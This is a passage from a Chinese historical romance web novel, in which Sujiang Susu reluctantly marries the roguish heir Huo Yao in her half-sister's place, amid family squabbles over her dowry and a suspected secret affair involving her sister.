姜云安像是没想到她会当着面问，愣了一瞬，嘴角的笑是缓落了下来，解释着说：“啊…我是觉得这聘礼都上门了，已经没有什么借口退婚了，我以为妹妹能欣然接受，所以才替妹妹高兴了。”
苏苏轻叹了口气，是啊，这事已经是板上钉钉的了，她除了接受还能怎么办。
当初答应替姐姐嫁过去的也是她自己。
只是她没想过要嫁的人竟然和她在街上有过那么一场闹剧。
-
霍府的聘礼送上了门，婚期也定好了，对于苏苏的看管也就没那么严厉了。
主要是姜家两口在该再多给多少嫁妆上产生了分歧，也没心思管苏苏在做什么，有没有偷跑出宅子了。
苏苏扮成小厮从老地方出了宅院，她刚到春雅酒楼，里面的管事的就认出了她，毕恭毕敬地道，“霍公子刚走，应该是去舒江北苑看锦鲤去了。”
苏苏颔首拱手道谢，“多谢管事。”
直起身子，她没有抬脚离开而是往酒楼里面张望了一阵，直到管事以奇怪的眼神看着她并问还找何人时，她才收回眼神摇头离开。
她不是来寻石程宇的，但来了还是没忍住想看看在不在，况且他如今不是程哥哥了，是林卫，林大人。
即便再见到了，她也应该装作不认识。
来京城前，坐在马车上她幻想着若程哥哥还活着，她说要嫁他，他肯定会娶她给她一个家。
不过也好，只要他活着就好。
16. 16
舒江北苑清净雅静，花香宜人，鸟声琴声悦耳，三个男子闲庭阔步游玩庭院，小亭子里坐着几个妙龄少女羞仪地抬眼偷偷瞭望，小声谈论其如意郎君。
其中一名面胭脂水粉厚重手摇扇子的女子收回视线道，“你们瞧，要说长相确是霍家那公子长得尤为出众，奈何从不好学，性子顽劣，听闻在学堂里连《论语》都念错，把夫子都气得的捶胸，静枝姐姐该庆幸霍家反对你们来往，不然若是霍尧看上了姐姐，以后有的是姐姐受了。”
“但霍府祖上开国之将，尽管这些年没当年那样风光，奈何家底厚还有爵位承袭，况且也轮不到别人了。”另一女子驳道。
“此话怎讲？”仍侧目望着塘边的女子，露静枝回目过来弯眉蹙问道。
女子抬眉一张圆润的小脸惊道，“你们没听说吗？霍尧早有个未婚妻，昨儿个霍府送了足足二十车的聘礼去提亲，出手之阔绰，看来霍家也是很重视这门亲事了。”
露静枝眸光暗淡下来，垂下眼皮悠悠淡道，“那个姑娘家世定很好吧。”
对面摇着扇子的女子朝道，“好什么啊，我听说了，是个布商之女，近些年才富裕起来，这不才把姑娘从庄子上接上来没多久，就想着赶紧成亲，想必就是惦记着与霍府这桩婚事的吧。”
露静枝闻言眉心愈发皱了起来。
方才心下思索着家中只是个五品，定比不过霍公子的未婚妻家世，没想到只是个布商，这样的家世怎么和霍府定下婚约的？
对面两个姑娘坐得疲了，想去赏赏花便相约同露静枝一起去，片刻还未开口，便闻一声清朗的嗓子道，“请问姑娘可有间一位叫霍尧，霍公子的来这里？”
“你是？”杨宝韵笑着眨了眨睫毛，被眼前长着一张清秀容貌的小厮给吸引了眼球，圆润的小脸儿此刻愈发可爱。
姜苏苏抱拳颔首行礼，怕被人赶出去她与方才进来时口径一致道，“霍家的佣人，来寻霍公子的。”
“在那……”杨宝韵转头朝方才霍尧几人的方向一看，不久前还在的人此刻没见了“诶，刚才还在呢。”
苏苏顺着杨宝韵看的方向望了望。
“你再去问问其他人吧。”摇着扇子的女子趾高气昂道，“我们也是来游玩的，又不是这儿的佣人。”
语气高傲，苏苏也不再多问便颔首道谢准备离开，这时被露静枝出声叫住，“诶…你家公子是要成亲了？”
苏苏微愣了一瞬，看向女子身姿端庄，面容柔雅，肤白如脂得像一块美玉，缓然点了点头回应。
露静枝眸带失落地垂下眸子。
苏苏再次行礼后离开。
在舒江北苑寻了好久，她也没找到霍尧，眼看出来的时间有些长了，怕回去太迟了被大娘子发现，她只好决定打道回府。
然而就在此刻，霍尧摇着黑羽扇，张扬阔步地在不远处与人谈天说地地笑着，看上去心情大好。
她走过去到他旁边时，霍尧都还没注意到她，可见与人聊的多么投入。
就在他谈完了，身旁人告辞后，他手拿酒壶仰头要饮时，一转目就瞧苏苏没有预兆地出现在面前，还冷着张脸，怨气满满。
吓得他酒洒了一身，待回过神来发现是姜苏苏，他神色松缓下来拍了拍袍子，抬眸玩世不恭地扯着嘴角，装道，“你怎么来了？”
苏苏冷言道，“霍公子明知故问，分明不想娶我，还故意为之，霍公子这么做的目的是什么？”
在这样气愤的情况下，苏苏也只是语气发冷了些。
今日前来她还是希望能与霍尧好生商议，虽然现在她并没有什么对策。不过倘若是他愿意与她相处才想娶她，也许嫁到霍家也不是坏事。
霍尧身材高大，身姿笔挺，苏苏只到他的胸口，她一双清澈的眸子仰头静静看着他。
就那么凝视着，也不说话，就等着他回答。
霍尧有那么一瞬心底颤抖了一下，浓眉不可查地轻蹙了一下，修长指尖懒懒散散地垂拿着酒壶侧身散漫淡道，“就是摆明了故意整你，还能有什么目的？”
苏苏紧捏着指尖，不知该如何回答，她和霍尧显然不能好生说上几句话。
她甚至觉得现在想上去掐他胳膊，拧他耳朵，让他正经点。
不过她并没有表现出任何不当的举措，在这大庭广众的场合下，她还没想年纪轻轻就自掘坟墓。
见苏苏也不吭声了，霍尧黑白分明的眸子侧动了几下，转身看她，“你不打算说些什么？”
苏苏平静地蹙眉看着他，他接着勾唇疑惑地问道，“你就不生气？”
到此苏苏便知霍尧就是想看她生气跳脚的样子吧。
当真幼稚。
“不生气啊。”她淡笑着道，“霍家送来那么多聘礼，我怎么会生气呢，高兴还来不及呢，霍公子可准备好迎娶我了？”笑里藏刀似的微笑最具杀伤力，她怎么会让霍尧得逞。
果然霍尧看她如此笑着，浓眉深深皱了起来，“你故意给我设陷阱？”
“霍家高门谁不想嫁，我家不过是小小布商，自然高兴。”苏苏抿唇轻松耸了耸肩，“我等着霍公子八抬大轿，十里红妆来娶我。”
她转身，抬脚离开，身后霍尧被气得笑了声，追上来道，“你做梦！姜苏苏站住……”
苏苏闻言转身，话刚到嘴边，脚崴了一下身子不稳眼看要跌入旁边满是锦鲤的鱼塘，霍尧反应过来伸手拉住她，就在她庆幸时两人不幸地一起跌入了鱼塘。
苏苏不会水便被吓得不轻，在水中扑通：“救，救命……”
霍尧站起来，抹了把脸，鱼塘的水只到他的膝盖。
嘴唇抿唇一条线看了眼像只旱鸭子扑腾着翅膀的姑娘，向前迈了一步拎着苏苏后领把她给捞了起来。
苏苏站起来才发现原来水这么浅。
风一吹就让她打了个喷嚏，她发抖地抱着胳膊，听见嘈杂的声音，转头看发现周围已经围满了看客。
南五在岸上正找着霍尧，结果看到霍尧时，发现他湿身在鱼塘里了，惊抓抓地跑来，“啊呀！少爷！少爷您怎么还拿自己喂鱼啊，快，快上来。”
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霍尧瞥头看了他一眼，南五紧抿双唇发现死嘴说错话了，赶紧拍了拍嘴。
霍尧托着脚步上岸。
苏苏低着头，含胸环抱着个手臂跟在其后上岸，随后快步离开。
……
幸好及时回姜家，没让大娘子发现她偷跑出去的端倪。
在大娘子来房中寻她商量再添些嫁妆时，苏苏已经换好衣裳在房中歇着了。
谭柳慧亲切握着苏苏手，先是关切说道，“这手怎么怎么凉，快六月了不应该啊。”转头吩咐带来的婆子，“快去弄个暖手炉来。”说完给苏苏理了理身上的褙子。
缓言有叮嘱道，“可要把身子给顾好了，眼下要成亲了，别生病了。”
苏苏淡道，“多谢母亲关怀，可能今日风大所以受凉了。”
苏苏看如此关心她，大致猜到是来找到她说该添多少嫁妆的事。
下一刻谭柳慧便直奔目的，“苏苏，母亲是这样想的，你呢向来独立，嫁妆多少对于你来说也不是太过重要，家中的生意也才刚刚见起色，母亲就想着嫁妆适当在给你添置一两件你觉得如何？”
苏苏略思沉问，“母亲说的一两件是何物？”
谭柳慧丝毫没觉不妥，理所应当地道，“两床江南绣娘精绣的蚕丝被，你觉得如何？”
站在一旁的文妈妈和云蝶闻言，神色都显吃惊。
谭大娘子的话才说的漂亮，精绣的蚕丝被，显得多么贵重一样。人家霍府送来那么多金银珠宝，就多给小姐两床被子坐嫁妆，让苏苏小姐嫁过去怎么挺直得起腰板面对公婆夫君。
姜苏苏垂颜，没多少情绪地淡道，“那既然如此，苏苏不嫁了。”
谭柳慧顿时觉得苏苏在威胁她，但又怕她反应激烈，毕竟不是她所生又加上婚期将至，她家安儿拖不得了。
“哎呦，你看怎得这么大得人了还这么小孩子秉性，婚期都定好了怎能不嫁？”细声劝道。
姜苏苏没接话，她心里也一团乱麻。
如今她当真就像是热锅上的蚂蚁，嫁也不是不嫁也不是。
这时婆子拿来了手炉，“苏苏小姐，手炉。”
谭柳慧看她就低垂眼也不说话，从婆子手里接过手炉递给她。
不敢逼太紧了，松了口道，“母亲再去同你父亲商议一下嫁妆的事，你先休息。”
谭柳慧带人走了，苏苏起身在后行礼，文妈妈见人出了院门，便把房门关上了转身道，“小姐，这大娘子厚的脸皮，就多给两条被子，也不知怎么好意思说出口的。”
苏苏现在倒是没在想嫁妆多少的事。
而是她嫁霍家属于高嫁，若嫁，姜家是不可能作为她的底气的，她没有娘家撑腰，与霍尧又不和，日后的日子她不敢想会过成什么样。
若她不嫁，成全的自己，毁的是姜家的名声。
怎么选都有利有弊，她该选自己还是该顾全大局，选姜家。
苏苏思觉头很沉重，摸着手中的暖炉仍然觉得很冷，缓然起身道，“妈妈，我先去睡会了，晚膳不吃了。”
17. 17
日后两日，姜苏苏卧病在床食欲不佳，姜老爷生怕误了重要日子，赶紧请了魏大夫过来看诊。
姜华临在苏苏屋子外焦急守着，等魏大夫出来后，忙上前问道，“魏大夫，姜某小女有何大碍没有？”
魏大夫给定心丸似得说道，“姜老爷放心，没有大碍，姜姑娘是心郁所致的食欲不振加上身子瘦弱营养不佳，所以得多调养身子，老夫开几副药服了便很快就好了。”
闻言姜华临松了一口气，膀间发紧的肌肉都松了下来，启声道谢，“烦请魏大夫费心了。”
魏任抱拳示道，“姜老爷不必多礼。”语毕开了药方子前准备离开之时，姜华临提脚上前跑了两步，缓声问道，“魏大夫，确定过两日就能好对吧，两日后便是家中小女与霍家结亲的日子，可不能给耽误了。”
魏任沉言思索良久，“倒是不影响，不过这两日记得要多加营养。”
姜华临眸光从暗转亮，点点头恭送人出院门。
苏苏站在房门口，披着外衣双唇些许发白，父亲的话她都听到了，原来爹爹不是真的担心她有事，而是怕担心婚期被耽误了。
刚上京来的时候，姜老爷对她并没有多少关心，大娘子每日的膳食派人都是随意的白粥，是前段时间大娘子突然转变了性子给她送了云蝶过来，膳食也才比之前好了些。
苏苏咳嗽了几下，文妈妈看得心疼前去扶着到软榻坐着，“小姐不想卧床躺着便坐着吧，站在门口风也大啊。”
她点了点头缓身而坐，“妈妈，我好的差不多了，不用担心。”
她依稀记得在庄子上的时候为摘塘边树上的果子掉入过后塘，当时差点溺水而亡，幸好抓住塘边一木棍才捡回一命，从那后她便怕水。
落入鱼塘的那晚仍精神未定，连续梦到几次落水。她身子没那么弱，可能是这几日心中挂事所致吧。
文妈妈担忧问，“那小姐可有什么想吃的，老奴去给小姐做。”
苏苏抿唇缓然摇了摇头，精神没有此前那样活跃，“妈妈看着安排吧。”
文妈妈只好点头，去张罗些补营养的东西来。
出去时碰到了姜老爷和谭柳慧，文妈妈躬身问礼，“老爷，夫人。”
姜华临吩咐道，“文妈妈，这两日要格外注意苏苏的身子，魏大夫把药方开好了，待会儿去煎好了赶紧让小姐服下。”
谭柳慧：“也要多弄些补气血的。”
文妈妈收回视线颔首语气平平道，“老奴知道了。”
两口子假心假意，小姐要是心狠点就直接不管姜家走就是了，反正老夫人留了那么多田产够小姐的吃穿用度了。
但终究是心软的。
……
霍尧这两日都没去酒楼和两人厮混，魏宇桀和谢沉觉得奇怪便到霍府探个究竟。
走到霍府大门，叩了几下门，魏宇桀转头给谢沉调侃笑称道，“难道阿尧这还没成亲就收敛了性子了？”
谢沉默然思觉不太可能。
刚想分析一番，里面来人开门了，南五瞧见是魏大人和谢大人忙拉开大门，原本不知所措的脸豁然开朗，“两位大人是来找我家少爷的吧，快请进，少爷从那日从北苑回来后，就似发疯了一样，在后院没日没夜的练箭，没有胃口吃饭。”
闻言不吃饭，魏宇桀下巴都惊掉了，“他还能没有胃口？不能吧。”他转头看向谢沉，两人面面相觑，都觉这对霍尧来说太不寻常了。
跟着南五带路进去，就听箭声在风中刷刷划过的声音，几个靶柱上的红心满满当当都是箭。
院中的小厮在旁边安静得完全不敢出声，南五也只敢小声请示似的通报，“少爷……”
还未通报完，霍尧的一支箭就落到了南五脚边，“不是让你们安静……”
南五睁大瞳孔，脚步赶紧往后一退。
谢沉两人见状也猜不透究竟怎么了，那日他俩在亭里下棋，大皇子派人来找霍尧有事商议，等霍尧回来的时候就听说掉进鱼塘里了。
难不成和大皇子闹翻了，当时与人动手才落入鱼塘的？不过霍尧和大皇子要真的算起来，还算的上是表兄弟，真闹翻了，老早就能听说啊。
两人看得也是一头雾水。
谢沉捡起箭，走上前去递给他问道，“这是怎么了，游北苑那日还发生了什么我们不知道的？”
霍尧从他手里拿过箭，驾到弓上往靶上射去，淡声，“没什么。”
魏宇桀跟在后而来，一脸不可置信道，“怎么可能没什么，这两日你酒楼也不去了，南五还说你没胃口，你哪日对酒楼的羊排没兴趣了？真是稀奇。”
霍尧冷眸看了他一眼，魏宇桀立马站在谢沉后面点告状，“你看他，带着杀气的盯着我……”想了一阵，摸着脸嬉皮笑脸道，“难道我这张英俊的脸已经在京城少女中的讨论度超过他了，所以开始被嫉妒了吗？”
谢沉双唇紧抿，一言难尽地看了魏宇桀一眼。
转头问霍尧，“我想应该不是和大皇子有关吧？莫不是和姜姑娘有关？”
霍尧默然未语扔下弓，转头走到石凳上坐下。
魏宇桀与谢沉相视一看，魏宇桀瞪着双眼，“不会还真让你猜准了吧？”
谢沉走去坐到另一个石凳上，还没开口问，霍尧便气道，“那姜苏苏富有心机，找我退婚是她的权宜之计。”
魏宇桀不知所然，上前傻傻地问，“这是何意？难道是她想要嫁你但装作想退婚？呀，那你不得气得跳脚。”
霍尧又瞪了他一眼，还好这时南五端来茶水了，他赶紧倒了盏茶若无其事准备去坐下，结果霍尧冷道，“站着或许能堵住你的嘴。”
魏宇桀屁股停在半空中，捧着茶水喝完，嘻嘻笑着坐下，“站着不能，喝茶能。”
谢沉：“阿尧，你怎么知道这是姜姑娘给你设的圈套？”
“那日在北苑，她给我说的。”霍尧沉了沉道，“小爷的英明都被她给毁了，还和她一起掉进了鱼塘喂鱼…”
“哦，难怪姜姑娘病了，原来是掉鱼塘了。”魏宇桀抿唇点着头，边倒茶边道，“我还说她是因为不想嫁给你，故意装病呢
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。”
霍尧侧目疑问道，“她病了？”
“应该没有大碍，姜家来人说姜姑娘食欲不佳，请我爹去给姜姑娘问诊去了。”魏宇桀翘嘴点头，“要我说你和姜姑娘就是卧龙凤雏，两个食欲恰巧都不佳。”
霍尧蹙眉冷眸，“会不会说话？”
魏宇桀摸了摸脖子，笑道，“我的意思就是，天…天生一对，对，天生一对。”
谢沉道：“阿尧，我想姜姑娘应该没有那么有心机，她可能是真的不想嫁你才故意这样说的。”
魏宇桀突然抬眸，“不讲武德，谢沉，你就是为了我的夜明珠故意这样说的吧。”
谢沉抿唇频繁眨动了好几次眼，又道，“聘礼都送到姜家了，不久代表阿尧把自己给送出去了嘛，就算姜姑娘此前真的是欲擒故纵，阿尧也没办法了不是？”
霍尧思沉良久。
姜苏苏，等成了亲，有你后悔的。
魏宇桀磕着瓜子四处张望，“诶，阿尧，你这院里怎么没看见一个丫鬟侍女啊。”
南五在一旁道，“回魏大人，我家少爷不喜欢有丫鬟侍女在他的院子待着，最多让婆子进来。”
“为何？谢沉房里都有好几个丫鬟伺候。”魏宇桀表示不理解，“对吧，谢沉。”
谢沉扬着眉点头，“确有一个。”
霍尧不以为然，微蹙眉，“有什么好奇怪的，小爷不需要丫鬟伺候。”
他倒是不理解谢沉和魏宇桀要那么丫鬟侍女做什么，日常听他们说伺候房中事，沐浴更衣这些事情就不能自己做了？
魏宇桀好奇抬着眉，脱口而问，“不需要丫鬟伺候，那你怎么解决？”
谢沉闻言属实没憋住笑，抿着唇环抱着手颔首。
霍尧皱眉，“我有手有脚让丫鬟伺候个什么劲。”他起身往屋里走，“等我换身衣裳，去酒楼喝酒。”
眼看霍尧进屋去了，魏宇桀拍了拍谢沉胳膊，惊讶，“我以为他素日里说笑呢，原来房里真没丫鬟啊？”
“我也很震惊。”谢沉缓缓点头，看向南五，“真没有丫鬟伺候？”
南五一本正经夸赞，“我家少爷除了就是好吃贪玩一点，样貌品行都是极好的。”
……
苦涩药味闻着就觉味蕾发苦，苏苏捧着药碗迟迟未喝，谭氏派来的李嬷嬷在旁边守着，要看她喝完才肯下去。
她最怕苦，喝药困难，文妈妈在一旁准备好了蜜饯，“小姐，屏着呼吸一口气喝了，这样身子才好受些。”妈妈今日也是看她精神不佳所以也担心起来。
苏苏听文妈妈的屏住呼吸一口气把药给喝了，文妈妈赶紧把手里蜜饯喂到她口中，苏苏捏着手心发了下颤，蜜饯在口中润化开才舒服些。
李嬷嬷满意地拿着空碗离开。
苏苏轻舔唇瓣，垂眸侧靠着头，低低问道，“妈妈，成亲后只是换个地方活着对吗？”
文妈妈看得心疼，上前抚道，“小姐，若是不想嫁咱干脆就不要考虑什么一荣俱荣一损俱损了，这姜家的事凭什么有小姐来承担。”
18. 18
听到文妈妈的话，苏苏不否认她有过不顾姜家直接离开的念头。
不过只是那么一瞬间有过这样的念头，但她平静下来细想后便下不了那样的决定。
虽说父亲待她并不好，但终究是有血缘，况且也是她答应要替姐姐嫁的，走到今天这一步也有她的责任，若是真那样做了，内心那道坎实在过不去。
现还没嫁过去，她并不知道真的日子会过成什么样，毕竟人常常会被自己害怕的事所框柱。
苏苏同文妈妈道，“那日是我亲口答应替嫁过去，现在走到这一步，我也有责任，只有嫁过去了。”
苏苏是这样劝自己的：
嫁过去后，若霍尧不愿同她接触，那就不接触好了，她不过就是换个地方生活而已。
文妈妈愁眉侧目，轻叹了声道，“当年宜府家道中落，宜娘子入狱后要被发卖，姜老爷花了五百两银子把宜娘子赎出来做妾，老夫人知道后从庄上赶上京把银子还给姜老爷还多给了三百两，但宜娘子却心甘情愿待在姜家，只是没想到刚生下小姐后不久身子太弱就去了。留下小姐一人孤苦伶仃的在姜家，现如今还要替姜家女儿嫁人。”
这些陈年往事苏苏还是第一次听说。
“娘亲当年为何甘愿给父亲做妾？”她从出生就没见过娘亲，对娘亲的了解全听外祖母所说。外祖母说母亲是个温润端庄从不忤逆长辈的女子，其余的就再也不愿多说，她再多问的时候外祖母便不高兴了。
文妈妈摇头，“老奴也不知，这些旧事老夫人在时不准老奴提起的，老奴也只知这些。”
苏苏垂眸。
娘亲是真爱父亲所以才甘愿做妾吗？她不理解娘亲当年的想法，但她对于同别人共侍一夫还是无法接受。
可在没有男人会一心一意对一个女人吧，就算不纳妾，通房丫鬟也会有不少。
所以即便和谁成亲，结果都是相同吧，她也不必再挑了，反正不过她就只是想要一个家。现有祖辈定的婚约，即便嫁到霍家过得不如意，霍尧总也不敢随意休了她吧…
除非替嫁的事暴露。
-
酒楼上，老地方二楼包间，霍尧枕着手臂在软榻上，闲适地翘着腿躺着，悠然自得的样子一点没有在霍府时那般郁闷。
谢沉打趣，“这就想明白接受现实，不气了？”
霍尧缓缓抬眼看，侧目看着坐在棋桌前的两人，他撑坐起来从棋盒里拿了一个黑子夹在指尖，“不是我接受现实，而是让她接受现实，黑白相对，我和姜苏苏注定不和，即便如此那我不如让她知难而退，主动与我和离。”
黑子落下，白棋瞬间满盘皆输，魏宇桀睁大了眼，“阿尧，你今儿个怎么瞎猫碰上死耗子，赢了？”
谢沉被魏宇桀这一声吃惊地声音引得往棋盘上看。
果真是赢了。
谢沉抬头问，“还没成亲呢，怎么就想着和离了。”
霍尧缓缓往后靠着，手搭在扶手上，蹙眉，“我又不喜欢她，自然要和离，不然等我喜欢的女子进门做妾？”
魏宇桀：“此前我以为你喜欢露静枝，后来却没下文了，你究竟知不知道自己喜欢谁啊？”
谢沉点点头，“细想起来，出现在阿尧身边的女人除了姜姑娘就是露姑娘了。”
闻言，霍尧淡然不起波澜地说：“我和露静枝是因为家中亲戚关系，见过两三面，说过的话不超过三句，而且有两次你们都在吧。”
谢沉：“也是，我还记得露姑娘想和你说话，你冷着一张脸不搭理别人，把人露姑娘都吓得不敢再找你说话了，上次在北苑的时候，露姑娘来了都不敢出现在你面前。反倒是对姜姑娘就不一样了，老是去找姜姑娘。”
说到前段时，霍尧并没有反应，听到谢沉提姜苏苏时，他顿时反驳道，“是她来找我好吧，第一次把我扑倒，第二次假扮我贴身小厮，第三次设陷阱让我娶她…”
谢沉笑了声，“记得挺清楚嘛，读书要是能记得这么清楚，在学堂时咱仨也不会一起挨夫子那么多罚了。”
魏宇桀呆里呆气地问，“什么假扮贴身小厮，我咋不知道？”
谢沉又道，“我觉得姜姑娘挺温柔漂亮的，没你说的那么心机深重，要真不愿意娶，你就想个法子让我娶？”
霍尧端起酒盏，蹙眉瞥了他眼，不留情面地吐出一个字，“滚。”
谢沉抿唇，摊着手掌，“看看，又不愿意。”
一旁的魏宇桀还在方才的话题上，“究竟什么假扮贴身小厮啊，你们能不能先回答回答我。”
两人都不理他，让魏宇桀好奇得抓心挠肝。
-
姜家南院祠堂烛光从门缝流出，姜家两口拿着香火跪在垫子上拜拜嘴里念叨着保佑姜家生意兴隆，齐齐起身把香插在香炉里。
谭柳慧起身眸光微沉，像是思忖了良久，看好时机便道，“老爷，苏苏的嫁妆按理说应该再多加几个铺面，但咱家生意也才刚见起色，霍家那边家底厚不需要咱这三瓜两枣的，要不老爷去给苏苏商量下，嫁妆就适当加点就行？”
姜华临负手而立，道，“这事儿你不是说你来办吗？”
谭柳慧眸带心虚，缓言道，“妾身是说过由我来操办，但这不是去和苏苏商量的时候，苏苏不愿认我这个母亲，觉得我贪她的嫁妆，还说出那就不嫁了的气话嘛。”
话音缓落，激得姜华临心口一堵，“什么？苏苏说的？”
谭柳慧轻点着头，无辜地做派。
姜华临川字眉心又深深皱了起来，但片刻又缓落，转目问，“你怎么给苏苏说的？你打算给她多少嫁妆？”
谭柳慧不敢把当时试探拿捏苏苏说再给两床锦被做嫁妆的话说出口，她换言道，“我就想把空着的两个铺面给苏苏，随意看她是要找几个江南绣娘做咱家布庄的生意还是做其他的都行，但苏苏可能嫌少吧，就是不愿意。我想苏苏肯定会听夫君的话，所以只好如实告知了。”
说完谭柳慧瞟着夫君的脸色，随后就瞧见姜华临神色凝固了起来，“我去给苏苏商量。”
听到确切的话
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后，谭柳慧放下心来。苏苏夜里睡不着，想去给娘亲的牌位上上香，披上斗篷，文妈妈提着灯笼她们就往祠堂去。
路过南院假山附近，窸窸窣窣的丛间有蟋蟀叫声，时不时有风声从耳畔刮过，呼啸呼啸的。
文妈妈轻声嘱咐，“小姐，把斗篷系拢些，身子还未痊愈还要当心些。”
苏苏听话，手拢在斗篷里将两边的往里拢拢，缓步走着，就在快到祠堂时听到有谈话声，声从假山后来。
停住脚，苏苏沉眸一阵，轻抬脚朝假山走去。
她一走去就看见一熟悉的身影同一陌生男子站在一起。
那熟悉的身影就是姜云安。
她瞳孔微震，赶紧双手捂住唇，不敢出声慢慢后退着离开，回了屋子她才敢喘口气。
云蝶端来暖身红枣汤，“小姐趁热喝，补补气血。”
苏苏眸子盯着桌面，呆呆然的样子。
大晚上的姐姐怎么会与陌生男子在南院私会，所以这个陌生男子才是姐姐不愿意嫁到或霍家的真实原因？
可这也太胆大了，父亲若是知道了后果会很严重吧。
苏苏扶着头，云蝶看她皱着眉没说话担心是不是头又痛了，便道，“小姐可是头疼了？安小姐让素雨送了安神香来，奴婢去拿来点上？”
苏苏缓缓点了点头，文妈妈看云蝶出去拿香了，便小声问道，“小姐觉得方才的事要不要告诉谭氏？”
苏苏垂眸细想了一会儿。
“不，此事不可声张。”她心下却有些担心，可还不确定，她不好过多的揣测。
文妈妈点头应到，云蝶端来点好的香炉，丝丝悠悠地香从炉子缝隙中飘荡到鼻畔，苏苏眸光凝了凝。
此香木质香没有那么厚重，不是那日在姐姐身上闻到的味道。
她抬眸问道，“云蝶，这是安姐姐给的安神香吗？”
云蝶合上香炉盖子，点点头，“嗯，素雨给我时还说了安神香的功效，奴婢没有拿错，小姐是觉得没有效吗？”
苏苏缓缓摇了摇头，“不是，挺好闻的，不早了你下去歇下吧。”
“那奴婢退下了。”云蝶退下出去合上门。
苏苏看着紧闭的门，眸子淡沉了下来。
看来姐姐那日确实偷偷出宅子了，还去的寺庙。
可去寺庙作甚？难不成是和方才那个男子私会。
苏苏转目问文妈妈道，“妈妈，你说倘若大娘子早就知道这件事了，她会做什么？”
文妈妈思索道，“她会教训安小姐？及时止损。”
苏苏沉了沉，眸光暗淡了下来，“那若是损失已经太大，不好挽回了呢？”
文妈妈听明白了，眸子一顿，“小姐是说……”
“嗯，只能亡羊补牢防止东窗事发，让我替姐姐嫁给霍家。”苏苏缓言蹙眉道出心中所分析之事。
文妈妈眸光一抬，“那小姐今日说不嫁，谭氏定也急坏了。”
苏苏点点头，“倘若猜的没错，她定会让父亲来说道我的。”
19. 19
如苏苏的猜想，天边的太阳刚冉冉升起姜华临就派人来请她去书房。
梳妆完，苏苏去了书房，父亲见她来了招手让她过去。
苏苏温婉走去，姜华临从书房角落一个不起眼的箱子里拿出一沓银票。
姜华临眉眼温和，慈和的笑着把银票递给她，苏苏接在手中，大致估算这沓银票有八百两。
她不敢相信爹爹会给她这么多银票，“爹爹，这是作甚？”
“这是爹爹给你的嫁妆。”姜华临手撑在膝盖上，缓身站起来拍了拍女儿的肩膀，“苏苏，爹爹知道你母亲呢顾家，可能在给你的嫁妆上做的有些欠妥的，你别生她的气，爹爹给你补偿起来。”
“这是爹爹的私房钱？”苏苏微微抬眸，淡问道。
姜华临朝大门望了一眼，回过头来，压着声儿道，“嘘，不要让你母亲晓得了，这银票安心拿着去傍身，倘若不够再给爹爹说。”
从在庄上开始爹爹就没去看过她，连问候一声都没有，现在听生她的父亲这样说即便是没有这八百两银票，苏苏心下也开心。
而且还有些震惊她这看上去万事听从妻子安排的父亲，居然藏着这么多私房钱，难怪有人会说男人没一个老实的。
既然父亲给，苏苏也不推辞，屈膝谢道，“多谢爹爹，苏苏收下了。”
看苏苏这么干脆，姜华临还怔愣了一下，回道，“呃…好好好。”顿了片刻问道，“那你没不想嫁了吧？”
苏苏淡笑着摇头，“昨日只是赌气和母亲说的话。”
她话音刚落就见就姜华临深深咬牙，闭了闭眼，也不知是不是后悔给这么多了。
随后苏苏拿着银票，福了福身子退下了。
谭氏那边并不知道姜华临藏了这么多私房钱，派去人打探后续回来，丫鬟在耳边通报后她才知道那老头子竟被这她有这么多钱。
她脸都气青了，恰巧这时姜云安来请安，“给母亲请安。”
谭柳慧脸色并不好看，“你方才过来的时候可遇到你那妹妹了？”
姜云安过来时并未看见苏苏，便摇了摇头。
谭柳慧侧目哼声，不悦地气氛充斥了整个堂屋。
“你爹那老奸巨猾的，居然瞒着我给了你妹妹足足八百两银票。”她声行并茂的比出手指，瞪大了眼睛对姜云安说道。想让姜云安与她同仇敌忾，然而她唯一的女儿竟然也随她那不争气的夫君一个模子刻出来的，完全不站在她这边。
淡声垂眸道，“母亲，父亲亏欠妹妹理应给妹妹的。”
谭柳慧深深刮了她一眼，“你个没心眼的，苏苏嫁妆拿的少些，剩下的不都是给你的？况且那边说不定还是三皇子，你嫁妆少了会被人瞧不起的。”
姜云安瞳孔微凝，眉心皱起来，沉默了良久措辞道，“母亲，不管他是三皇子还是平常百姓，女儿也要嫁。”
此话一出，谭柳慧转目，一个眼神让身边站着的佣人都退下，而后沉声问道，“三皇子的生母在慈云出家，他时常去看望，但恐怕碍于身份不便与你明说，想必就是三皇子，等苏苏嫁霍家了，你就赶紧让他上门提亲，告诉他你的身子等不了了。”
姜云安只好垂眸点头。
此时苏苏和文妈妈缓步走在回院子的小路上，偶遇刚请完安出来的姜云安，她驻足淡笑着行礼，“姐姐。”
说着苏苏就想到昨晚看见的场景。
眸子不由地垂了下来。
姜云安觉得她在看自己肚子，忽得皱眉有些恼了，“妹妹在看什么？”
语气重了，苏苏也能感受到，她愣了一下不知姐姐为何突然恼了，“姐姐，我什么也没看。”
姜云安这才觉得自己太过敏感，忙道歉道，“对不起妹妹，方才我误会了。”话落了片刻又道，“我乏了，先回去休息了，妹妹明日大婚也快回去休息吧。”
说完就急着走了，苏苏留在原地看着她离开的背影。
文妈妈扶着她，“小姐，我们也回去吧。”
苏苏点头。
……
霍府的人来迎亲了，苏苏一身凤冠霞帔，眸子淡垂在正堂叩拜了父母，随后上婚车，拜高堂，入洞房不久天色就黑了下来。
苏苏端庄地坐在床边等着掀盖头。
等得昏昏欲睡了，才听到推门进来的声音。
霍尧走进来，边倒茶水边道，“你不会等着我给你掀盖头吧？”
在盖头下，苏苏半垂着眼听明白他什么意思了，缓声道，“夫君的意思是让我自己掀盖头吗？”
霍尧没应声，她伸手缓缓将盖头揭下。
看向霍尧，他一身和素日里没太大差别的红袍，正坐没坐相地仰头饮着茶水，撇眼看了她一眼看上去并没有想和她好生相处。
桌上摆放着烧鸡，烧鹅，酒，还有桂圆红枣……
苏苏一日未进食了，现在饿得前胸贴后背，不由咽了咽口水，但看霍尧坐在桌前
，她还不方便过去。
思忖着，她淡道，“夫君，该休息了。”
霍尧手臂靠在圆桌上，闻言侧头转目，看着她沉默了一阵，正要开口时，苏苏一张娇俏的脸蛋，柔声道，“我知道夫君不想娶我，现在估计也想着如何同我和离，但我想告诉夫君在我这里没有和离只有丧偶。”
语气语调都轻柔缓慢，却像是拿着一把软剑慢慢地刺入喉咙，软刀子杀人不声不响的。
霍尧忽得站起来，皱眉道，“毒妇，你作甚？不会在茶里下毒了吧？”他惜命地卡着脖子一脸难看。
